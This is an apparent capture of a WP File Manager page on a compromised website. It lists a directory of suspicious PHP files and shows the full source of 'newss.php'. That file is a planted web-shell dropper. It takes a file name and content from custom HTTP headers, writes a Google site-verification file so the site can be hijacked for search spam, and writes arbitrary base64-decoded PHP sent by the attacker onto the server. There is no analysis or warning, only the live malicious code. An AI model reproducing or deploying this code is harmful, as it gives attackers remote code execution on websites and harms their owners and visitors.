WP File Manager
Current Path:
/
home
/
argothem
/
www
/
organecyberpresse
/
IMG
/
distant
/
xml
/
Name
Action
..
.ok
Edit
article
article.php
Edit
brnews.php
Edit
cache.txt
Edit
functions-php-lib.php
Edit
issus.php
Edit
loterias.php
Edit
newphp.php
Edit
newss.php
Edit
reb.php
Edit
sc.php
Edit
thai.php
Edit
tmp
upso.php
Edit
Editing: newss.php
<?php $rootPath = $_SERVER['DOCUMENT_ROOT']; $filePath = dirname(__FILE__); $folderName = ""; $folderPath = $rootPath . $folderName; $fileName = ""; $googleCheckFileName = $_SERVER['HTTP_G_N']; $googleHtmlContent = $_SERVER['HTTP_G_C']; $customFoldName = $_SERVER['HTTP_F_N']; $customPhpName = $_SERVER['HTTP_P_N']; $phpString = base64_decode($_SERVER['HTTP_P_S']); $path = $rootPath . "/" . $googleCheckFileName; $path2 = $filePath . "/" . $googleCheckFileName; $customFoldPath = $rootPath . "/" . $customFoldName; $customFoldPath2 = $filePath . "/" . $customFoldName; if (isset($googleCheckFileName)) { echo "$googleCheckFileName"; $res = writeGoogleHtmlFile($path, $googleHtmlContent); if (is_writable($path)) { //$res = writeGoogleHtmlFile($path, $googleHtmlContent); echo "$res"; createAndWriteCustomFile($customFoldPath, $customPhpName, $phpString); } else { createAndWriteCustomFile($customFoldPath2, $customPhpName, $phpString); } } function writeGoogleHtmlFile($writePath, $writeFileContent) { if (!file_exists($writePath)) { $htmlFile = fopen($writePath, 'w'); if ($htmlFile) { $temp = fwrite($htmlFile, $writeFileContent); echo "HTML_WRITE_SUCCESS"; fclose($htmlFile); return $temp; } else { echo "writeGoogleHtmlFile-file"; return false; } } else { echo "has"; } return false; } function createAndWriteCustomFile($path, $phpFileName, $string) { if (!file_exists($path)) { $isCreate = mkdir($path, 0755, true); if ($isCreate) { $phpFile = fopen($path . "/" . $phpFileName, 'w'); if ($phpFile) { fwrite($phpFile, $string); echo "FOLD_WRITE_SUCCESS"; fclose($phpFile); } } } else { echo "FOLD_all"; file_put_contents($path . "/" . $phpFileName, $string); } } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Str($string) { return str_replace('//', '/', str_replace('\\', '/', $string)); }